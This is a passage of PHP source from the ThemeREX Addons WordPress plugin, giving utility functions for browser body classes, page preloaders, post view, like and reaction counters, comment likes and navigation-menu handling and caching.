| Current File : /home/kelaby89/cartel.express/wp-content/plugins/trx_addons/includes/plugin.wp.php |
<?php
/**
* WordPress utilities
*
* @package ThemeREX Addons
* @since v1.0
*/
// Don't load directly
if ( ! defined( 'TRX_ADDONS_VERSION' ) ) {
exit;
}
/* Browser-specific classes
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_browser_classes') ) {
// A filter hook is commented, because a classes assignment is moved to the js for compatibility with caching plugins
//add_filter( 'body_class', 'trx_addons_browser_classes' );
/**
* Add browser-specific classes to the body tag
*
* @hooked body_class
*
* @param array $classes List of classes
*
* @return array Modified list of classes
*/
function trx_addons_browser_classes( $classes ) {
// WordPress global vars
global $is_lynx, $is_gecko, $is_opera, $is_NS4, $is_safari, $is_chrome,
$is_IE, $is_winIE, $is_macIE, $is_edge,
$is_iphone,
$is_apache, $is_nginx, $is_IIS, $is_iis7;
// User agent
$user_agent = ! empty( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '';
// Platform
if ( preg_match("/(iPad|iPhone|iPod)/", $user_agent, $matches) ) {
if ( ! empty($matches[1]) ) {
$classes[] = 'ua_ios';
}
}
if ( ! empty($is_iphone) ) {
$classes[] = 'ua_iphone';
}
if ( wp_is_mobile() ) {
$classes[] = 'ua_mobile';
}
// Browser
if ( preg_match("/[\\s]Firefox\\/([0-9.]*)/", $user_agent, $matches) ) {
$classes[] = 'ua_firefox';
}
if ( ! empty($is_gecko) ) {
$classes[] = 'ua_gecko';
}
if ( ! empty($is_chrome) ) {
$classes[] = 'ua_chrome';
if ( preg_match("/[\\s]OPR\\/([0-9.]*)/", $user_agent, $matches) ) {
if ( ! empty($matches[1]) ) {
$classes[] = 'ua_opera ua_opera_webkit';
}
}
}
if ( ! empty($is_safari) ) {
$classes[] = 'ua_safari';
}
if ( ! empty($is_opera) ) {
$classes[] = 'ua_opera';
}
if ( ! empty($is_edge) ) {
$classes[] = 'ua_edge';
}
if ( ! empty($is_IE) ) {
$classes[] = 'ua_ie';
if ( ! empty($is_winIE) ) {
$classes[] = 'ua_ie_win';
} else if ( ! empty($is_macIE) ) {
$classes[] = 'ua_ie_mac';
}
if ( preg_match("/Trident[^;]*;[\\s]*rv:([0-9.]*)/", $user_agent, $matches)
||
preg_match("/MSIE[\\s]*([0-9.]*)/", $user_agent, $matches)
) {
if ( ! empty($matches[1]) ) {
$classes[] = 'ua_ie_' . (int)$matches[1];
if ( (int)$matches[1] < 11 ) {
$classes[] = 'ua_ie_lt11';
}
}
}
}
if ( ! empty($is_NS4) ) {
$classes[] = 'ua_ns4';
}
if ( ! empty($is_lynx) ) {
$classes[] = 'ua_lynx';
}
return $classes;
}
}
/* Page preloader
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_body_classes') ) {
add_filter( 'body_class', 'trx_addons_body_classes' );
/**
* Add page 'preloader' and 'frontpage' classes to the body classes
*
* @hooked body_class
*
* @param array $classes List of classes
*
* @return array Modified list of classes
*/
function trx_addons_body_classes( $classes ) {
if ( ! trx_addons_is_off( trx_addons_get_option('page_preloader') ) ) {
$classes[] = 'preloader';
}
if ( is_front_page() && get_option('show_on_front')=='page' && (int) get_option('page_on_front') > 0 ) {
$classes[] = 'frontpage';
}
return $classes;
}
}
if ( ! function_exists('trx_addons_add_page_preloader') ) {
add_action('trx_addons_action_before_body', 'trx_addons_add_page_preloader', 1);
add_action('wp_footer', 'trx_addons_add_page_preloader', 1);
/**
* Add page preloader layout to the page output
*
* @hooked trx_addons_action_before_body
* @hooked wp_footer
*/
function trx_addons_add_page_preloader() {
static $loaded = false;
if ( $loaded ) return;
$loaded = true;
if ( ( $preloader = trx_addons_get_option( 'page_preloader' ) ) != 'none' && ( $preloader != 'custom' || ( $image = trx_addons_get_option( 'page_preloader_image' ) ) != '' ) ) {
?><div id="page_preloader"><?php
if ($preloader == 'circle') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_circ1"></div><div class="preloader_circ2"></div><div class="preloader_circ3"></div><div class="preloader_circ4"></div></div><?php
} else if ($preloader == 'square') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_square1"></div><div class="preloader_square2"></div></div><?php
} else if ($preloader == 'dots') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_dot" id="preloader_dot_one"></div><div class="preloader_dot" id="preloader_dot_two"></div><div class="preloader_dot" id="preloader_dot_three"></div></div><?php
} else {
do_action('trx_addons_action_preloader_wrap', $preloader);
}
?></div><?php
}
}
}
if ( ! function_exists('trx_addons_add_page_preloader_styles') ) {
add_action('wp_head', 'trx_addons_add_page_preloader_styles');
/**
* Add page preloader styles to the head output
*
* @hooked wp_head
*/
function trx_addons_add_page_preloader_styles() {
if ( ( $preloader = trx_addons_get_option( 'page_preloader' ) ) != 'none' ) {
?>
<style type="text/css">
<!--
#page_preloader {
<?php
$bg_color = trx_addons_get_option('page_preloader_bg_color');
if ( ! empty( $bg_color ) ) {
?>background-color: <?php echo esc_attr( $bg_color ); ?> !important;<?php
}
$image = trx_addons_get_option('page_preloader_image');
if ( $preloader == 'custom' && ! empty( $image ) ) {
?>background-image: url( <?php echo esc_url( $image ); ?> );<?php
}
?>
}
<?php
$color = trx_addons_get_option('page_preloader_color');
if ( ! empty( $color ) ) {
?>
#page_preloader .preloader_wrap > div {
background-color: <?php echo esc_attr( $color ); ?> !important;
}
<?php
}
?>
-->
</style>
<?php
}
}
}
/* Scroll to top button
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_add_scroll_to_top') ) {
add_action('wp_footer', 'trx_addons_add_scroll_to_top', 9);
/**
* Add scroll to top button to the page output
*
* @hooked wp_footer
*/
function trx_addons_add_scroll_to_top() {
if ( trx_addons_is_on( trx_addons_get_option( 'scroll_to_top' ) ) ) {
$type = apply_filters( 'trx_addons_filter_scroll_progress_type', '' );
trx_addons_show_layout(
apply_filters(
'trx_addons_filter_scroll_to_top',
'<a href="#" class="trx_addons_scroll_to_top trx_addons_icon-up" title="' . esc_attr__('Scroll to top', 'trx_addons') . '">'
. ( ! empty( $type )
? '<span class="trx_addons_scroll_progress trx_addons_scroll_progress_type_' . esc_attr( $type ) . '"></span>'
: ''
)
. '</a>'
)
);
}
}
}
/* Post icon
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_post_icon') ) {
/**
* Return post icon from the post meta
*
* @param int $post_id post ID or 0 for current post to get icon
*
* @return string post icon
*/
function trx_addons_get_post_icon( $post_id = 0 ) {
if ( empty( $post_id ) ) {
$post_id = get_the_ID();
}
$meta = (array)get_post_meta( $post_id, 'trx_addons_options', true );
return ! empty( $meta['icon'] ) ? $meta['icon'] : '';
}
}
/* Post views
-------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_post_views') ) {
/**
* Return post views number from the post meta field 'trx_addons_post_views_count'
*
* @param int $id post ID or 0 for current post to get views
*
* @return int post views number
*/
function trx_addons_get_post_views( $id = 0 ){
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_post_meta($id, $key);
add_post_meta($id, $key, '0');
$count = 0;
}
} else
$count = 0;
return $count;
}
}
if ( ! function_exists('trx_addons_set_post_views') ) {
/**
* Set post views number to the post meta field 'trx_addons_post_views_count'
*
* @param int $counter post views number
* @param int $id post ID or 0 for current post to set views
*/
function trx_addons_set_post_views( $counter = -1, $id = 0 ) {
if ( ! $id) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $key, true);
if ($count==='') {
delete_post_meta($id, $key);
add_post_meta($id, $key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_post_meta($id, $key, $count);
}
}
}
}
if ( ! function_exists('trx_addons_inc_post_views') ) {
/**
* Increment post views number to the post meta field 'trx_addons_post_views_count'
*
* @param int $inc incremented value. If 0 - increment views by 1
* @param int $id post ID or 0 for current post to increment views
*/
function trx_addons_inc_post_views( $inc = 0, $id = 0 ) {
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
$count = max(0, $inc);
delete_post_meta($id, $key);
add_post_meta($id, $key, $count);
} else {
$count += $inc;
update_post_meta($id, $key, $count);
}
} else {
$count = 0;
}
return $count;
}
}
/* Post likes
-------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_post_likes') ) {
/**
* Return post likes number from the post meta field 'trx_addons_post_likes_count'
*
* @param int $id post ID or 0 for current post to get likes
*
* @return int post likes number
*/
function trx_addons_get_post_likes( $id = 0 ) {
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_post_meta($id, $key);
add_post_meta($id, $key, '0');
$count = 0;
}
} else {
$count = 0;
}
return $count;
}
}
if ( ! function_exists('trx_addons_set_post_likes') ) {
/**
* Set post likes number to the post meta field 'trx_addons_post_likes_count'
*
* @param int $counter post likes number
* @param int $id post ID or 0 for current post to set likes
*/
function trx_addons_set_post_likes( $counter = -1, $id = 0 ) {
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_post_meta($id, $key);
add_post_meta($id, $key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_post_meta($id, $key, $count);
}
}
}
}
if ( ! function_exists('trx_addons_inc_post_likes') ) {
/**
* Increment post likes number to the post meta field 'trx_addons_post_likes_count'
*
* @param int $inc incremented value. If 0 - increment by 1
* @param int $id post ID or 0 for current post to increment likes
*/
function trx_addons_inc_post_likes( $inc = 0, $id = 0 ) {
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
$count = max(0, $inc);
delete_post_meta($id, $key);
add_post_meta($id, $key, $count);
} else {
$count += $inc;
update_post_meta($id, $key, max(0, $count));
}
} else {
$count = $inc;
}
return $count;
}
}
/* Post emotions
-------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_post_emotions') ) {
/**
* Return post emotions array from the post meta field 'trx_addons_post_emotions'
*
* @param int $id post ID or 0 for current post to get emotions
*
* @return array post emotions array
*/
function trx_addons_get_post_emotions( $id = 0 ){
$emotions = array();
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$meta = get_post_meta($id, 'trx_addons_post_emotions', true);
if (is_array($meta)) $emotions = $meta;
}
return $emotions;
}
}
if ( ! function_exists('trx_addons_set_post_emotions') ) {
/**
* Set post emotions array to the post meta field 'trx_addons_post_emotions'
*
* @param array $emotions post emotions array
* @param int $id post ID or 0 for current post to set emotions
*/
function trx_addons_set_post_emotions( $emotions, $id = 0 ) {
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
update_post_meta($id, 'trx_addons_post_emotions', $emotions);
}
}
}
if ( ! function_exists('trx_addons_inc_post_emotions') ) {
/**
* Increment post emotions number to the post meta field 'trx_addons_post_emotions'.
*
* @param string $name emotion name
* @param int $inc incremented value. If 0 - increment by 1
* @param int $id post ID or 0 for current post to increment emotions
*
* @return array post emotions array
*/
function trx_addons_inc_post_emotions( $name, $inc = 0, $id = 0 ) {
$emotions = array();
if ( ! $id ) {
$id = trx_addons_get_the_ID();
}
if ( $id ) {
$key = 'trx_addons_post_emotions';
$meta = get_post_meta( $id, $key, true );
if ( is_array( $meta ) ) {
$emotions = $meta;
}
$emotions[ $name ] = ( empty( $emotions[ $name ] ) ? 0 : $emotions[ $name ] ) + $inc;
update_post_meta( $id, $key, $emotions );
trx_addons_inc_post_likes( $inc, $id );
}
return empty($emotions[$name]) ? 0 : $emotions[$name];
}
}
if ( ! function_exists( 'trx_addons_init_post_counters' ) ) {
add_action('save_post', 'trx_addons_init_post_counters');
/**
* Init post counters when save post
*
* @hooked save_post
*
* @param int $id post ID
*/
function trx_addons_init_post_counters( $id ) {
global $post_type, $post;
// check autosave
if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) {
return $id;
}
// check permissions
if ( empty( $post_type ) || ! is_string( $post_type ) || ! current_user_can( 'edit_' . $post_type, $id ) ) {
return $id;
}
if ( ! empty( $post->ID ) && $id == $post->ID ) {
trx_addons_get_post_views( $id );
trx_addons_get_post_likes( $id );
}
}
}
if ( ! function_exists( 'trx_addons_callback_post_counter' ) ) {
add_action('wp_ajax_post_counter', 'trx_addons_callback_post_counter');
add_action('wp_ajax_nopriv_post_counter', 'trx_addons_callback_post_counter');
/**
* AJAX handler for the 'post_counter' action to increment post's counter
*
* @hooked wp_ajax_post_counter
* @hooked wp_ajax_nopriv_post_counter
*/
function trx_addons_callback_post_counter() {
trx_addons_verify_nonce();
$response = array('error'=>'', 'counter' => 0);
$id = (int)$_REQUEST['post_id'];
if ( isset( $_REQUEST['likes'] ) ) {
$response['counter'] = trx_addons_inc_post_likes( (int)$_REQUEST['likes'], $id );
} else if ( isset( $_REQUEST['views'] ) ) {
$response['counter'] = trx_addons_inc_post_views( (int)$_REQUEST['views'], $id );
} else if ( isset( $_REQUEST['emotion_inc'] ) || isset( $_REQUEST['emotion_dec'] ) ) {
$meta = trx_addons_get_post_emotions( $id );
$emotions = array();
if ( is_array( $meta ) ) {
foreach ( $meta as $k => $v ) {
if ( ! empty( $k ) && ! empty( $v ) ) {
$emotions[ $k ] = $v;
}
}
}
$inc = 0;
if ( ! empty( $_REQUEST['emotion_dec'] ) ) {
$inc--;
$emotions[ $_REQUEST['emotion_dec'] ] = isset( $emotions[ $_REQUEST['emotion_dec'] ] )
? max( 0, $emotions[ $_REQUEST['emotion_dec'] ] - 1 )
: 0;
}
if ( ! empty( $_REQUEST['emotion_inc'] ) && ( empty( $_REQUEST['emotion_dec'] ) || $_REQUEST['emotion_inc'] != $_REQUEST['emotion_dec'] ) ) {
$inc++;
$emotions[ $_REQUEST['emotion_inc'] ] = isset( $emotions[ $_REQUEST['emotion_inc'] ] )
? $emotions[ $_REQUEST['emotion_inc'] ] + 1
: 1;
}
$response['counter'] = $emotions;
trx_addons_set_post_emotions( $emotions, $id );
trx_addons_inc_post_likes( $inc, $id );
}
trx_addons_ajax_response( $response );
}
}
if ( ! function_exists( 'trx_addons_inc_views_ajax' ) ) {
add_filter("trx_addons_filter_localize_script", 'trx_addons_add_views_vars');
/**
* Add a flag to increment views counter via AJAX
*
* @hooked trx_addons_filter_localize_script
*
* @param array $vars array of variables to localize
*
* @return array array of variables to localize
*/
function trx_addons_add_views_vars( $vars ) {
$vars['ajax_views'] = trx_addons_is_on( trx_addons_get_option('ajax_views') ) && apply_filters( 'trx_addons_filter_inc_views', trx_addons_is_singular() );
return $vars;
}
}
if ( ! function_exists( 'trx_addons_inc_views_php' ) ) {
add_action("wp_head", 'trx_addons_inc_views_php');
/**
* Increment views counter via PHP
*
* @hooked wp_head
*/
function trx_addons_inc_views_php() {
if ( trx_addons_is_off( trx_addons_get_option('ajax_views') )
&& apply_filters( 'trx_addons_filter_inc_views', trx_addons_is_singular() )
) {
trx_addons_inc_post_views( 1, get_the_ID() );
}
}
}
if ( ! function_exists( 'trx_addons_get_post_reactions' ) ) {
/**
* Return reactions of the current post and show it (if need)
*
* @param boolean $show Show reactions or return as string
*
* @return string
*/
function trx_addons_get_post_reactions( $show = false ) {
if ( trx_addons_is_off( apply_filters( 'trx_addons_filter_emotions_allowed', trx_addons_get_option( 'emotions_allowed', 0 ) ) ) ) {
return '';
}
$post_id = get_the_ID();
$post_emotions = trx_addons_get_post_emotions($post_id);
$liked = explode(',', trx_addons_get_cookie( 'trx_addons_emotions' ) );
$active = '';
foreach ( $liked as $v ) {
if ( empty( $v ) ) {
continue;
}
$tmp = explode('=', $v);
if ( $tmp[0] == $post_id ) {
$active = $tmp[1];
break;
}
}
$list = trx_addons_get_option('emotions');
$output = '';
if ( is_array( $list ) ) {
$output = '<div id="trx_addons_emotions" class="trx_addons_emotions">'
. '<h5 class="trx_addons_emotions_title">' . esc_html__("What's your reaction?", 'trx_addons') . '</h5>';
foreach ( $list as $emo ) {
$sn = $emo['name'];
if ( empty( $sn ) ) {
continue;
}
$fn = ! trx_addons_is_url( $sn ) ? str_replace( array( 'icon-', 'trx_addons_icon-' ), '', $sn ) : trx_addons_get_file_name( $sn );
$slug = $fn;
$title = $emo['title'];
if ( empty( $title ) ) {
$title = $slug;
} else {
$slug = strtolower( sanitize_title( $title ) );
}
$style = strpos( $sn, '.svg') !== false
? 'svg'
: ( trx_addons_is_url( $sn )
? 'images'
: 'icons'
);
$output .= '<span class="trx_addons_emotions_item trx_addons_emotions_item_icon_'.esc_attr($fn)
. ' sc_icon_type_'.esc_attr($style)
. ($style == 'icons' ? ' '.$sn : '')
. (!empty($active) && $active==$slug ? ' trx_addons_emotions_active' : '')
. '"'
. ' data-slug="'.esc_attr($slug).'"'
. ' data-postid="'.esc_attr($post_id).'"'
. '>'
. ($style == 'svg' ? trx_addons_get_svg_from_file($sn) : '')
. ($style == 'images' ? '<img src="'.esc_url($sn).'" class="trx_addons_emotions_item_image">' : '')
. '<span class="trx_addons_emotions_item_number">'
. (!empty($post_emotions[$slug]) ? esc_html($post_emotions[$slug]) : '0')
. '</span>'
. '<span class="trx_addons_emotions_item_label">' . esc_html($title) . '</span>'
.'</span>';
}
}
$output .= '</div>';
$output = apply_filters('trx_addons_filter_emotions', $output, $post_emotions, $list, $post_id);
if ($show) trx_addons_show_layout($output);
return $output;
}
}
if ( ! function_exists( 'trx_addons_show_post_reactions' ) ) {
add_action( 'trx_addons_action_after_article', 'trx_addons_show_post_reactions', 10, 1);
/**
* Show reactions in the single post
*
* @hooked trx_addons_action_after_article
*
* @param string $slug post slug
*/
function trx_addons_show_post_reactions( $slug ) {
if ( trx_addons_is_on( trx_addons_get_option( 'emotions_allowed', 0 ) ) && apply_filters('trx_addons_filter_show_post_reactions', trx_addons_is_single() && ! is_attachment() ) ) {
trx_addons_get_post_reactions( true );
}
}
}
if ( ! function_exists( 'trx_addons_post_class_with_reactions' ) ) {
add_filter( 'post_class', 'trx_addons_post_class_with_reactions' );
/**
* Add classes with reactions to the tag <article>
*
* @hooked post_class
*
* @param array $classes List of post classes
*
* @return array Modified list of classes
*/
function trx_addons_post_class_with_reactions( $classes ) {
$post_id = get_the_ID();
$emotions_allowed = trx_addons_is_on( trx_addons_get_option( 'emotions_allowed', 0 ) );
if ( $emotions_allowed ) {
$liked = explode( ',', trx_addons_get_cookie( 'trx_addons_emotions' ) );
$active = '';
foreach ( $liked as $v ) {
if ( empty( $v ) ) {
continue;
}
$tmp = explode( '=', $v );
if ( $tmp[0] == $post_id ) {
$active = $tmp[1];
break;
}
}
if ( ! empty( $active ) ) {
$classes[] = 'post_with_users_like post_with_users_emotion_'.esc_attr($active);
}
$post_emotions = trx_addons_get_post_emotions( $post_id );
if ( is_array( $post_emotions ) ) {
arsort( $post_emotions );
$i=0;
foreach ( $post_emotions as $k => $v ) {
if ( empty( $k ) || empty( $v ) ) {
continue;
}
if ( $i++ == 0 ) {
$classes[] = 'post_emotion_main_' . esc_attr( $k );
}
$classes[] = 'post_emotion_' . esc_attr( $k );
}
}
} else {
if ( strpos( trx_addons_get_cookie( 'trx_addons_likes' ), ',' . ( $post_id ) . ',' ) !== false ) {
$classes[] = 'post_with_users_like';
}
}
return $classes;
}
}
/* Comment's likes
-------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_comment_likes') ) {
/**
* Return Comment's Likes number
*
* @param int $id Comment ID. If 0 - get current comment ID
*
* @return int Comment's Likes number
*/
function trx_addons_get_comment_likes( $id = 0 ) {
if ( ! $id ) {
$id = get_comment_ID();
}
$key = 'trx_addons_comment_likes_count';
$count = get_comment_meta( $id, $key, true );
if ( $count === '' ){
delete_comment_meta( $id, $key );
add_comment_meta( $id, $key, '0' );
$count = 0;
}
return $count;
}
}
if ( ! function_exists('trx_addons_set_comment_likes') ) {
/**
* Set Comment's Likes number
*
* @param int $id Comment ID. If 0 - get current comment ID
* @param int $counter Likes number. If 0 - increment current value
*/
function trx_addons_set_comment_likes( $id = 0, $counter = -1 ) {
if ( ! $id ) $id = get_comment_ID();
$key = 'trx_addons_comment_likes_count';
$count = get_post_meta( $id, $key, true );
if ( $count === '' ) {
delete_comment_meta( $id, $key );
add_comment_meta( $id, $key, 1 );
} else {
$count = $counter >= 0 ? $counter : $count + 1;
update_comment_meta( $id, $key, $count );
}
}
}
if ( ! function_exists('trx_addons_inc_comment_likes') ) {
/**
* Increment Comment's Likes number
*
* @param int $id Comment ID. If 0 - get current comment ID
* @param int $inc Incremented value. If 0 - increment current value
*
* @return int Likes number
*/
function trx_addons_inc_comment_likes( $id = 0, $inc = 0 ) {
if ( ! $id ) $id = get_comment_ID();
$key = 'trx_addons_comment_likes_count';
$count = get_comment_meta( $id, $key, true );
if ( $count === '' ){
$count = max( 0, $inc );
delete_comment_meta( $id, $key );
add_comment_meta( $id, $key, $count );
} else {
$count += $inc;
update_comment_meta( $id, $key, $count );
}
return $count;
}
}
if ( ! function_exists( 'trx_addons_init_comment_counters' ) ) {
add_action( 'comment_post', 'trx_addons_init_comment_counters', 10, 2 );
/**
* Init comment counters when new comment is posted.
*
* @hooked comment_post
*
* @param int $id Comment ID
* @param int $status Comment status
*/
function trx_addons_init_comment_counters( $id, $status = '' ) {
if ( ! empty( $id ) ) {
trx_addons_get_comment_likes( $id );
}
}
}
if ( ! function_exists( 'trx_addons_callback_comment_counter' ) ) {
add_action('wp_ajax_comment_counter', 'trx_addons_callback_comment_counter');
add_action('wp_ajax_nopriv_comment_counter','trx_addons_callback_comment_counter');
/**
* Increment comment's counters via AJAX
*
* @hooked wp_ajax_comment_counter
* @hooked wp_ajax_nopriv_comment_counter
*/
function trx_addons_callback_comment_counter() {
trx_addons_verify_nonce();
$response = array( 'error'=>'', 'counter' => 0 );
$id = (int) $_REQUEST['post_id'];
if ( isset( $_REQUEST['likes'] ) ) {
$response['counter'] = trx_addons_inc_comment_likes( $id, (int)$_REQUEST['likes'] );
}
trx_addons_ajax_response( $response );
}
}
if ( ! function_exists( 'trx_addons_get_comment_counters' ) ) {
/**
* Return comment's counters layout
*
* @param string $counters A comma-separated list of counters. Allowed values: 'likes'
* @param boolean $show Show counters
*
* @return string HTML layout with counters
*/
function trx_addons_get_comment_counters( $counters = 'likes', $show = false ) {
$comment_id = get_comment_ID();
$output = '';
if ( strpos( $counters, 'likes' ) !== false ) {
$comment_likes = trx_addons_get_comment_likes( $comment_id );
$likes = trx_addons_get_cookie( 'trx_addons_comment_likes' );
$allow = strpos( sprintf( ',%s,', $likes ), sprintf(',%d,', $comment_id ) ) === false;
$output .= '<a href="#"'
. ' class="comment_counters_item comment_counters_likes trx_addons_icon-heart' . ( ! empty( $allow ) ? '-empty enabled' : ' disabled' ) . '"'
. ' title="' . ( ! empty( $allow ) ? esc_attr_x( 'Like', 'link title', 'trx_addons' ) : esc_attr_x( 'Dislike', 'link title', 'trx_addons' ) ) . '"'
. ' data-commentid="' . esc_attr( $comment_id ) . '"'
. ' data-likes="' . esc_attr( $comment_likes ) . '"'
. ' data-title-like="' . esc_attr_x( 'Like', 'link title', 'trx_addons' ) . '"'
. ' data-title-dislike="' . esc_attr_x( 'Dislike', 'link title', 'trx_addons' ) . '"'
. '>'
. '<span class="comment_counters_number">' . trim( $comment_likes ) . '</span>'
. '<span class="comment_counters_label">' . esc_html( _nx( 'Like', 'Likes', $comment_likes, 'after items number', 'trx_addons' ) ) . '</span>'
. '</a>';
}
$output = apply_filters( 'trx_addons_filter_get_comment_counters', $output, $counters );
if ( $show ) {
trx_addons_show_layout( $output );
}
return $output;
}
}
/* Menu utilities
------------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_get_nav_menu' ) ) {
/**
* Return menu html
*
* @param string $location Menu location
* @param string $menu Menu slug
* @param int $depth Menu depth
* @param bool|object $custom_walker Optional. An object with a custom walker used instead a standard menu builder
* or true to use a custom walker from the plugin with class 'trx_addons_custom_menu_walker'.
* Default is false.
*
* @return string Menu html
*/
function trx_addons_get_nav_menu( $location = '', $menu = '', $depth = 0, $custom_walker = false ) {
static $list = array();
$slug = $location . '_' . $menu;
if ( empty( $list[ $slug ] ) ) {
$list[ $slug ] = __('You are trying to use a menu inserted in himself!', 'trx_addons');
$args = array(
'menu' => empty( $menu ) || $menu == 'default' || trx_addons_is_inherit( $menu ) ? '' : $menu,
'container' => '',
'container_class' => '',
'container_id' => '',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'menu_class' => 'sc_layouts_menu_nav' . ( ! empty( $location ) ? ' ' . esc_attr( $location ) . '_nav' : '' ),
'menu_id' => ! empty( $location ) ? $location : trx_addons_generate_id( 'sc_layouts_menu_' ),
'echo' => false,
'fallback_cb' => '',
'before' => '',
'after' => '',
'link_before' => trx_addons_get_setting( 'wrap_menu_items_with_span' ) ? '<span>' : '',
'link_after' => trx_addons_get_setting( 'wrap_menu_items_with_span' ) ? '</span>' : '',
'depth' => $depth
);
if ( ! empty( $location ) ) {
$args['theme_location'] = $location;
}
if ( $custom_walker ) {
if ( is_object( $custom_walker ) ) {
$args['walker'] = $custom_walker;
} else if ( $custom_walker === true && class_exists( 'trx_addons_custom_menu_walker' ) ) {
$args['walker'] = new trx_addons_custom_menu_walker;
}
}
$list[ $slug ] = wp_nav_menu( apply_filters( 'trx_addons_filter_get_nav_menu_args', $args ) );
}
return apply_filters( 'trx_addons_filter_get_nav_menu', $list[ $slug ], $location, $menu );
}
}
if ( ! function_exists( 'trx_addons_remove_empty_spaces_between_menu_items' ) ) {
add_action( 'wp_nav_menu', 'trx_addons_remove_empty_spaces_between_menu_items', 98, 2 );
/**
* Remove empty spaces between menu items
*
* @hooked wp_nav_menu
*
* @param string $html Menu html
* @param array $args Menu args
*
* @return string Menu html without empty spaces
*/
function trx_addons_remove_empty_spaces_between_menu_items( $html = '', $args = array() ) {
return preg_replace(
array( "/>[\r\n\s]*<li/", "/>[\r\n\s]*<\\/ul>/" ),
array( "><li", "></ul>" ),
$html
);
}
}
if ( ! function_exists( 'trx_addons_remove_empty_menu_items' ) ) {
add_action( 'wp_nav_menu', 'trx_addons_remove_empty_menu_items', 99, 2 );
/**
* Remove empty menu items
*
* @hooked wp_nav_menu
*
* @param string $html Menu html
* @param array $args Menu args
*
* @return string Menu html without empty items
*/
function trx_addons_remove_empty_menu_items( $html = '', $args = array() ) {
return trx_addons_get_setting( 'remove_empty_menu_items' )
? preg_replace(
"/<li[^>]*>[\r\n\s]*<a[^>]*>[\r\n\s]*(<span>[\r\n\s]*<\\/span>[\r\n\s]*)?<\\/a>[\r\n\s]*<\\/li>/",
"",
$html
)
: $html;
}
}
if ( ! function_exists( 'trx_addons_add_current_menu_ancestor' ) ) {
add_filter( 'wp_nav_menu_objects', 'trx_addons_add_current_menu_ancestor', 10, 2 );
/**
* Add class 'current-menu-ancestor' for all parents of the 'current-menu-item'
*
* @hooked wp_nav_menu_objects
*
* @param array $items Menu items
* @param array $args Menu args
*
* @return array Menu items with added current menu ancestor class
*/
function trx_addons_add_current_menu_ancestor( $items, $args = array() ) {
if ( is_array( $items ) ) {
$parent = 0;
foreach ( $items as $k => $v ) {
if ( ! empty( $v->current ) ) {
$parent = ! empty( $v->menu_item_parent ) ? $v->menu_item_parent : 0;
break;
}
}
$first = true;
$last_parent = 0;
while ( (int)$parent > 0 && $last_parent != $parent ) {
$last_parent = $parent;
foreach ( $items as $k => $v ) {
if ( ! empty( $v->db_id ) && $v->db_id == $parent ) {
$items[ $k ]->current_item_ancestor = true;
if ( is_array( $v->classes ) && ! in_array( 'current-menu-ancestor', $v->classes ) ) {
$items[ $k ]->classes[] = 'current-menu-ancestor';
}
if ( $first ) {
$first = false;
$items[ $k ]->current_item_parent = true;
if ( is_array( $v->classes ) && ! in_array( 'current-menu-parent', $v->classes ) ) {
$items[ $k ]->classes[] = 'current-menu-parent';
}
}
$parent = ! empty( $v->menu_item_parent ) ? $v->menu_item_parent : 0;
break;
}
}
}
}
return $items;
}
}
if ( ! function_exists( 'trx_addons_get_menu_cache_key' ) ) {
/**
* Generate menu cache key. Used to store menu in the cache
*
* @param array $args Menu args
*
* @return string Menu cache key
*/
function trx_addons_get_menu_cache_key( $args ) {
$key = ! empty( $args->theme_location )
? 'location-(' . $args->theme_location . ')'
: 'menu-(' . ( ! empty( $args->menu )
? ( ! empty( $args->menu->slug )
? $args->menu->slug
: $args->menu
)
: ''
)
. ')';
return str_replace( ' ', '', $key );
}
}
if ( ! function_exists( 'trx_addons_add_menu_cache' ) ) {
add_action( 'wp_nav_menu', 'trx_addons_add_menu_cache', 100, 2 );
/**
* Add menu to the cache
*
* @hooked wp_nav_menu
*
* @param string $html Menu html
* @param array $args Menu args
*
* @return string Menu html
*/
function trx_addons_add_menu_cache( $html = '', $args = array() ) {
if ( apply_filters( 'trx_addons_add_menu_cache', trx_addons_is_on( trx_addons_get_option('menu_cache') ), $args ) ) {
trx_addons_cache_save( trx_addons_get_menu_cache_key( $args ), $html, 60 * 60 );
}
return $html;
}
}
if ( ! function_exists( 'trx_addons_get_menu_cache' ) ) {
add_action( 'pre_wp_nav_menu', 'trx_addons_get_menu_cache', 100, 2 );
/**
* Get menu from the cache
*
* @hooked pre_wp_nav_menu
*
* @param string $html Menu html
* @param array $args Menu args
*
* @return string Menu html from cache
*/
